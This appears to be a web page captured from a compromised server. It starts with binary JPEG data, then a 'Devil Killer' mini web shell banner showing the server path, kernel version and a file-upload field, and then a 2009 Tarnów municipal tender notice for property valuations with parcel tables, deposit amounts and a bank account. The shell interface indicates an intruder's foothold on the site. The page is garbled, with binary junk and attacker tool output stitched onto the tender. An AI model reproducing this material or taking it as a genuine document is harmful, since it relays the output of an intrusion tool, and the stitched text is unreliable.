JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090915/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090915/156249-N-2009.html

<p class="kh_header"><b>Tarnów: WYKONANIE OPERATÓW SZACUNKOWYCH OKREŚLAJĄCYCH WARTOŚĆ NIERUCHOMOŚCI W CELU AKTUALIZACJI OPŁAT Z TYTUŁU UŻYTKOWANIA WIECZYSTEGO GRUNTU - 4 ZADANIA</b><br>
<b>Numer ogłoszenia: 156249 - 2009; data zamieszczenia: 15.09.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Miasta Tarnowa - Urząd Miasta Tarnowa - Wydział Geodezji i Nieruchomości , ul. Nowa 3, 33-100 Tarnów, woj. małopolskie, tel. 014 6882762, faks 014 6882771.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.tarnow.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> WYKONANIE OPERATÓW SZACUNKOWYCH OKREŚLAJĄCYCH WARTOŚĆ NIERUCHOMOŚCI W CELU AKTUALIZACJI OPŁAT Z TYTUŁU UŻYTKOWANIA WIECZYSTEGO GRUNTU - 4 ZADANIA.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Zadanie 1
Lp.	Obręb	Nr działki	Pow. w m2	Położenie nieruchomości	Przedmiot wyceny
1.	253	177/2	165	Ul. Franciszkańska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
2.	297	1/5	3233	Ul. Świętej Trójcy 	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		1/9	396		
3.	297	1/13	5503	Ul. Świętej Trójcy	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
4.	310	13/8	2097	Ul. Dojazd	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
5.	293	68/15	2783	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		68/16	34	Ul. Do Huty	
		68/17	158	Ul. Do Huty	
		69/28	612	Ul. Do Huty	
		69/29	136	Ul. Do Huty	
		69/30	4357	Ul. Do Huty	
		69/31	246	Ul. Do Huty	
		69/14	1609	Ul. Do Huty	
		69/15	36	Ul. Do Huty	
		69/16	176	Ul. Do Huty	
6.	293	69/23	262	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		69/24	48	Ul. Do Huty	
		69/25	102	Ul. Do Huty	
7.	285	158/24	87	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		158/20	  618	Ul. Do Huty	
		145/4	  993	Ul. Do Huty	
		149/11    2615	Ul. Do Huty	
		146/2	  619	Ul. Do Huty	
		147/4	  981	Ul. Do Huty	
		159/2	1526	Ul. Do Huty	
		162/1	1308	Ul. Do Huty	
		163/1	1247	Ul. Do Huty	
		udział ? w dz. nr 158/18	166	Ul. Do Huty	
		udział ? w dz. nr 158/23	23	Ul. Do Huty	
		udział ? w dz. nr 145/2	256	Ul. Do Huty	
		udział ? w dz. nr 149/9	254	Ul. Do Huty	
8.         292	78/7	258	Ul. Przemysłowa	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
9.	66	87	5841	Ul. Kryształowa	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		88/1	4671	Ul. Kryształowa	
		81/7	1186	Ul. Kryształowa	
	             81/11	2876	Ul. Kryształowa	
10.	278	33/1	3655	Ul. Zbylitowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
11.	104	2/29	1839	Ul. Krzyska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
12.	208	8/11	858	Ul. Turystyczna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
13.	104	2/30	3677	Ul. Krzyska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
14.	208	8/3	5986	Ul. Dunajcowa	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		8/8	7495	Ul. Dunajcowa	
15.	299	59/1	2112	Ul. Tuchowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
16.	192	        15/1	1109	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		21/5	420	Ul. Do Huty	
		21/6	280	Ul. Do Huty	
17.	295	39/23	163	Ul. Budowlana	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
18.	293	101/5	1301	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
19.	310	13/7	1466	Ul. Dojazd	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
20.	274	12/3	178	Ul. Warsztatowa	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
21.	293	68/6	94	Ul. Do Huty	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		68/12	530	Ul. Do Huty	
		68/13	22	Ul. Do Huty	
		68/14	39	Ul. Do Huty	
		68/10	922	Ul. Do Huty	
		68/11	114	Ul. Do Huty	
		69/26	522	Ul. Do Huty	
		69/27	67	Ul. Do Huty	

Zadanie 2
1.	200	238/23	670	Ul. Hodowlana	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
2.	248	55/24	58	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
3.	248	55/28	138	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		55/30	928	Ul.Kochanowskiego	
4.	248	55/11	120	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		55/27	27	Ul.Kochanowskiego	
5.	271	32/26	1677	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
6.	247	1/55	891	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
	199	304/20	1547	Ul.Kochanowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
7.	200	238/13	953	Ul. Hodowlana	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
8.	192	   19/1	1029	Ul. Chemiczna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		21/7	350	Ul. Chemiczna	
		21/8	100	Ul. Chemiczna	
		21/9	1209	Ul. Chemiczna	
9.	270	63/3	5458	Ul. Wodna 	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
10.	170	58/5	116	Ul. Wieniawskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
11.	221	48/3	16	Rzędzin	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
12.	152	2/11	37	Os. Błonie	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
13.	230	225/2	9	Ul. Krakowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
14.	249	184/10	59	Os. Reymonta	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
15.	102	328/4	64	Os. Zielone	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
16.	172	246/4	80	Ul. Lwowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
17.	224	1/15	60	Ul. Lwowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
18.	105	118/9	63	Ul. Nowodąbrowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
19.	206	40/10	85	Ul. Lwowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
20.	105	118/15	90	Ul. Nowodąbrowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
21.	109	345/7	133	Ul. Kasprowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
22.	109	67/18	89	Ul. Przybyłkiewicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
23.	206	210/15	81	Ul. Skowronków	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
24.	270	63/4	2354	Ul. Wodna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
25.	66	99/6	22538	Al. Piaskowa	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		99/7	6175	Al. Piaskowa	
26.	170	58/10	337	Ul. Wieniawskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		58/11	151	Ul. Wieniawskiego	
27.	205	247/5	249	Ul. Sienna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
28.	205	249/1	12	Ul. Sienna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego

Zadanie 3
1.	205	63/1	287	Ul. Garbarska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
2.	254	2	8589	Ul. Dąbrowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		92/15	1563	Ul. Dąbrowskiego	
3.	229	148/8	63	Ul. Łazienna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		178/4	25	Ul. Łazienna	
4.	266	91	1972	Ul. Dąbrowskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		98	53	Ul. Dąbrowskiego	
		50	1017	Ul. Dąbrowskiego	
		99	23	Ul. Dąbrowskiego	
		97/1	311	Ul. Dąbrowskiego	
		96	31	Ul. Dąbrowskiego	
		80/2	138	Ul. Dąbrowskiego	
		81/2	80	Ul. Dąbrowskiego	
5.	164	91/4	2781	Ul. Starodąbrowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
6.	78	405/8	157	Ul.Nowodąbrowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		405/9	2844	Ul.Nowodąbrowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
7.	206	127/1	2873	Ul. Lwowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
8.	109	343/71	1720	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
9.	109	343/79	363	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
10.	109	343/89	608	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
11.	109	343/133	657	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		343/135	668	Ul. Romanowicza	
12.	109        343/138	800	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
13.	169	220/1	110	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
14.	169	53/1	310	Ul. Romanowicza	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
15.	106	77/14	106	Ul. Dwernickiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
16.	109	92/45	325	Ul. Paderewskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
17.	228	10	658	Rynek	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
18.	206	321/13	512	Ul. Mała	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
19.	229	22	1285	Ul. Piłsudskiego 5	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
20.	109	91/10	187	Ul. Goldhammera	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		90/4	241	Ul. Goldhammera	
		91/30	4622	Ul. Goldhammera	
21.	229	148/1	323	Ul. Łazienna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		148/9	342	Ul. Łazienna	
22.	229	150	427	Ul. Łazienna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
23.	202	112/7	160	Ul. Klikowska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
		188/21	25	Ul. Klikowska	
		188/22	2	Ul. Klikowska	
24.	229	173/3	318	Ul. Bema	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego

Zadanie 4
1.	152	171/51	120	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
2.	152	171/64	140	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
3.	162	10/18	57	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
4.	162	10/20	43	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
5.	162	10/14	49	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
6.	162	10/21	45	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
7.	205	248/12	53	Ul. Bitwy o Wał Pomorski 2E	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
8.	205	248/11	106	Bitwy o Wał Pomorski	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
9.	152	171/10	183	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
10.	162	10/17	58	Ul. Słoneczna 56F	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
11.	152	171/40	225	Ul. Wojska Polskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
12.	266	14/34	98	      Ul. Gumniska	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
13.	162	10/19	44	Os. Jasna	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
14.	152	171/41	143	Ul. Wojska Polskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
15.	152	171/42	223	Ul. Wojska Polskiego	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego
16.	162	10/16	57	Ul. Słoneczna 56E	Własność gruntu do aktualizacji rocznej z tytułu użytkowania wieczystego

Wizji w terenie należy dokonać po uprzednim pisemnym poinformowaniu użytkownika wieczystego o jej terminie. Z wizji na nieruchomości należy sporządzić stosowny protokół. W przypadku zgłoszenia przez użytkownika wieczystego nakładów poniesionych na infrastrukturę techniczną lub nakładów koniecznych wpływających na cechy techniczno - użytkowe gruntu, poniesionych przez użytkownika wieczystego, o ile w ich następstwie wzrosła wartość nieruchomości gruntowej - Wykonawca zobowiązany jest uwzględnić przy wycenie ich wartość,  po wcześniejszej ich weryfikacji ze Zleceniodawcą.
3.  Zakres opracowania ma obejmować 2 egzemplarze operatu szacunkowego do każdej nieruchomości, które należy wykonać zgodnie z obowiązującymi w tym zakresie przepisami.
4. Zamówienie może być realizowane z udziałem podwykonawców z tym, że Wykonawca jest zobowiązany w swojej ofercie wskazać, które części zamówienia zamierza powierzyć podwykonawcom do wykonania  wg zał. nr 1..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 70.32.20.00-4.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 4.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w dniach: 30.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> 1. Przed upływem terminu składania ofert Wykonawca zobowiązany jest wnieść wadium w wysokości: 
200   zł (słownie: dwieście złotych) na zadanie 1, 
300   zł (słownie: trzysta złotych) na zadanie 2,
220   zł (słownie: dwieście dwadzieścia złotych) na zadanie 3,   
150   zł (słownie: sto pięćdziesiąt złotych) na zadanie 4.

 2. Wykonawca może wnieść wadium w formach określonych w art. 45 ust.6. ustawy Prawo Zamówień Publicznych, tj.:
- pieniądzu,
- poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo   
kredytowej, z tym że poręczenie kasy jest zawsze poręczeniem pieniężnym;
- gwarancjach bankowych,
- gwarancjach ubezpieczeniowych,
- poręczeniach udzielanych przez podmioty, o których mowa w art.6b ust.5 pkt 2 ustawy z dnia 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz.U. Nr 109 poz.1158, z późn.zm.)
3. Wadium wnoszone w pieniądzu wpłaca się przelewem na rachunek bankowy Zamawiającego:
Bank Gospodarstwa Krajowego
Oddział w Krakowie
Filia w Tarnowie
Rachunek sum depozytowych: 63 1130 1150 0012 1084 7320 0003
Na dowodzie wpłaty należy wpisać adnotację: Przetarg operaty szacunkowe. Na dowodzie wpłaty należy także zaznaczyć numery zadań, oraz kwotę wadium przypadającego na poszczególne zadania, których dotyczy wpłata. Kopię dowodu wpłaty należy dołączyć  do oferty.
4. Wadium musi znaleźć się na rachunku bankowym Zamawiającego nie później niż w dniu i w godzinie składania ofert.
5. W przypadku wnoszenia wadium w pozostałych dopuszczalnych formach, kserokopię dokumentu  potwierdzającego wniesienie wadium należy złożyć w ofercie, natomiast oryginał dokumentu złożyć do dnia i godziny składania ofert w Urzędzie Miasta Tarnowa, ul. Nowa 4, 33-100 Tarnów, pok. 113.
6. Wykonawca, którego oferta zostanie wybrana traci wadium na rzecz Zamawiającego,w  przypadkach określonych w art. 46 ust. 4a i 5 ustawy Prawo Zamówień Publicznych.<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1. O zamówienie publiczne mogą ubiegać się wykonawcy, którzy:
a) nie podlegają wykluczeniu z postępowania na podstawie art. 24 ust 1 i 2 ustawy Prawo zamówień publicznych,
b) spełniają warunki określone w art. 22 ust. 1 ustawy Prawo zamówień publicznych.
2. Ocena spełnienia warunków udziału w postępowaniu o udzielenie zamówienia publicznego dokonana zostanie na podstawie oświadczenia i dokumentów załączonych przez Wykonawców do oferty.
3.W przetargu mogą wziąć udział Wykonawcy, którzy:
3.1. posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień.
Ocena spełniania warunków odbędzie się na podstawie oświadczenia oraz dokumentu - pkt VI.4.4.1 i 4.4.2 SIWZ
3.2. posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonywania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia.
W szczególności wymagane jest dysponowanie minimum jedną osobą posiadającą uprawnienia rzeczoznawcy majątkowego w zakresie szacowania nieruchomości. 
Ocena spełnienia warunków odbędzie się na podstawie oświadczenia i dokumentu - pkt VI.4.4.1, 4.4.3 SIWZ.
3.3. znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia.
Ocena spełnienia warunku odbędzie się na podstawie oświadczenia - pkt VI.4.4.1 
3.4. nie podlegają wykluczeniu z postępowania o udzielenie zamówienia.
Ocena spełnienia warunku odbędzie się na podstawie oświadczenia i dokumentów - pkt VI. 4.4.1 - 4.4.4 SIWZ.
4. Ocena spełnienia warunków zostanie dokonana wg formuły spełnia - nie spełnia. 
Niespełnienie chociaż jednego warunku skutkować będzie wykluczeniem Wykonawców z postępowania  i odrzuceniem  oferty..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> W celu potwierdzenia spełnienia warunków udziału w postępowaniu do oferty należy dołączyć następujące dokumenty  i oświadczenia:
- oświadczenie z art. 22 ust. 1 ustawy (wg zał. nr 2 do niniejszej specyfikacji).
- aktualny odpis z właściwego rejestru lub aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawionego nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert,
- uprawnienia rzeczoznawcy majątkowego w zakresie szacowania nieruchomości - zgodnie z pkt III.3.3.2. Do oferty należy dołączyć pisemne zobowiązanie innych podmiotów do udostępnienia osoby/ób zdolnych do wykonania zamówienia, jeżeli wykonawca wskazał osobę, która będzie udostępniona przez podmiot trzeci.
- dowód wpłaty lub wniesienia wadium..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> http://portal.tarnow.bip-gov.info.pl/bip/.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Miasta Tarnowa, Wydział Geodezji i Nieruchomości, ul. Nowa 3, 33 - 100 Tarnów, pok.219, II piętro.</p>
